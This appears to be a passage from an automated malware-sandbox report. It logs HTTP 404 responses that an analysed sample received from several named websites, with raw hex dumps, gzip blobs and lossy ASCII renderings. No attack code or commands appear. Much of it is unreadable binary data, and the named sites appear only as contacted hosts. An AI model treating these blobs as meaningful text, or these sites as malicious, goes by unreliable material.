Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 178Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 3d 0f 82 30 14 45 f7 fe 8a 27 bb 3c 34 8c 4d 07 f9 88 24 88 c4 94 c1 11 d3 9a 92 40 8b b4 68 fc f7 52 58 1c ef bb e7 9d 5c ba 4b af 09 bf d7 19 9c f9 a5 84 ba 39 95 45 02 c1 1e b1 c8 78 8e 98 f2 74 6b 8e 61 84 98 55 01 23 54 b9 a1 67 54 c9 56 2c c1 75 ae 97 2c 8e 62 a8 8c 83 dc cc 5a 50 dc 8e 84 e2 0a d1 87 11 5f ff 77 60 7f cc 92 08 1d 19 57 12 26 f9 9a a5 75 52 40 73 2b 01 5b 31 74 1a 3e ad 05 bd e0 4f 8f 83 d1 e0 54 67 c1 ca e9 2d a7 90 e2 e8 f5 ab 78 51 f9 41 e4 07 03 db dd c9 cb 00 00 00 Data Ascii: M=0E'<4M$@hRX\K9ExtkaU#TgTV,u,bZP_w`W&uR@s+[1t>OTg-xQA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lumaruniformes.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 13939Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d5 b2 db 76 e3 c6 96 25 fa 9c fa 0a 24 7c 9c 12 bd 89 1b 6f 92 28 51 1e de be d4 71 1f df da 69 d7 ae 3e 96 07 47 00 58 00 22 15 88 80 23 02 a4 98 da fa 97 d3 8f f5 d0 0f 3d ea 0f da 3f 76 16 2e 24 41 12 90 94 99 ca 5d bb 7c 11 03 eb 32 d7 5c 73 cd cb 97 a1 08 f4 2a 03 23 d1 29 bb 3a ba 2c 7e 0c 46 78 3c 33 41 59 df ff 9b 59 c4 80 84 57 47 2f 2e 53 d0 c4 08 12 22 15 e8 99 f9 eb 2f df 58 67 e6 26 ce 49 0a 33 73 41 61 99 09 a9 4d 23 10 5c 03 c7 ba 25 0d 75 32 0b 61 41 03 b0 ca 8f be 41 39 d5 94 30 4b 05 84 c1 cc 2b 51 18 e5 37 86 04 36 33 33 29 22 ca c0 34 12 09 d1 cc 4c b4 ce d4 d4 71 e2 34 8b 6d 21 63 e7 36 e2 8e 57 35 69 aa 19 5c fd 20 0c 05 06 f0 62 a6 fc f3 3f 90 bf 91 fd f9 3f 63 ca 89 f1 ea 93 b3 81 e7 5d 18 df e5 29 91 c6 af 9c 46 42 a6 a0 2e 9d aa f3 a8 41 fe 58 0a 5f 68 75 bc a1 7e 9c 92 5b 8b a6 24 06 2b 93 50 ac 36 65 44 c6 70 6c 38 d8 b8 e5 4b 98 06 c9 89 46 c6 85 94 18 c8 32 46 03 a2 a9 e0 8e 54 ea 2f b7 29 c3 54 31 70 66 ee 11 31 5e 49 f2 47 2e 2e 8c 6f 00 c2 fd 8d 59 51 9b af 4b ed 40 a4 4e 84 65 8e f9 31 08 fc fc fa b5 11 82 c1 84 42 01 52 dc 9f 48 2a d4 13 28 e1 ff 45 b9 6a 72 53 81 a4 99 be 3a 5a 52 1e 8a a5 3d 5f 66 90 8a 37 f4 35 68 4d 79 ac 8c 99 71 67 fa 44 c1 af 92 99 d3 1a fc da b9 76 94 bd 2c 4e 7c ed 94 b2 ab 6b 04 97 70 ed 94 cd d7 8e 37 b2 5d db bd 76 4e 07 b7 a7 83 6b c7 ec 9b 70 ab b1 df ce 78 8c 1f 6a 11 bf 1f 1e 36 96 68 f8 fb 75 05 88 af e2 5b e4 32 00 73 7a 67 a2 25 50 ce b2 ad c6 2f e1 0f d5 b8 76 96 99 45 79 c0 f2 b0 18 f7 46 95 81 b2 d1 c2 5b 01 ee 6c a7 94 db 6f d4 e7 0b 90 b3 89 3d b2 3d f3 fe fe e2 c8 f9 ec a5 f1 4b 42 95 11 51 06 06 fe 92 5c 0b 2b 06 0e 12 07 87 c6 67 ce d1 cb 28 e7 41 71 d3 13 da e7 bd bb 05 9e 51 f4 55 1f 2e d6 71 23 38 81 de 9d 96 ab 32 a7 67 77 2a cf 32 21 f5 2f a0 b4 9a 42 5f 53 64 a9 49 9a 4d 4f 38 2c 8d af 10 b8 67 2f 08 cb e1 c7 e8 a4 77 7f a1 40 29 84 79 ad 85 44 b5 6c 05 fa 5b dc f9 44 f4 ff db eb 1f 7f b0 95 96 78 3b 1a ad 4e 74 af 77 8f 72 04 49 31 ee fe 7e 33 3e 3b c1 19 05 35 b0 03 5c 55 fe 0c 81 3e 71 fb 6e 1f bf 09 5f 10 bc 06 0d 75 b2 fd 4c 80 c6 89 ee 61 00 b7 66 bf e0 35 4f 34 96 bb bd 8b 6a 81 82 e5 af 94 eb e1 e0 0b 29 c9 ea 04 ec 18 39 15 a7 44 ee e4 29 d0 76 88 85 bd be 9c 9d 7c 00 27 5e 72 ea 3f 17 9b de 85 04 9d 4b 6e 68 1b d0 04 ab 93 cd 5d 51 be de 5d 9d 84 d9 6c 26 7f d3 bf df f7 b6 02 e7 6b 81 d5 92 16 f2 63 75 80 8e 32 23 46 62 73 5a 37 16 30 e6 75 1e 9e 0d 03 fc 1b 45 c3 eb 3c 02 37 ba ce 07 ae 1b e2 df 09 39 ad 22 66 67 99 bf 53 d6 fb fc a5 37 7d b9 0b 1b 46 a4 f1 1e 9a fb a9 0a a4 51 d0 7b f5 ea e5 3e b3 11 fe f5 47 2e fe 0d 26 a7 8d f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Sucuri-ID: 14013X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=e07b21aaadc733c471861fff8037d281; path=/Vary: Accept-EncodingX-Sucuri-Cache: MISSData Raw: 31 35 33 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 0a 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 65 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 20 2f 3e 0a 0a 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 68 65 6d 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 71 75 69 63 6b 2d 6f 72 64 65 Data Ascii: 1532<!doctype html><html lang="en"> <head> <meta charset="utf-8"><meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:35 GMTserver: LiteSpeedData Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:35 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:35 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://gccb.co.in/wp-json/>; rel="https://api.w.org/"Vary: User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 38 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 73 2e 77 2e 6f 72 67 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 63 63 62 2e 63 6f 2e 69 6e 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
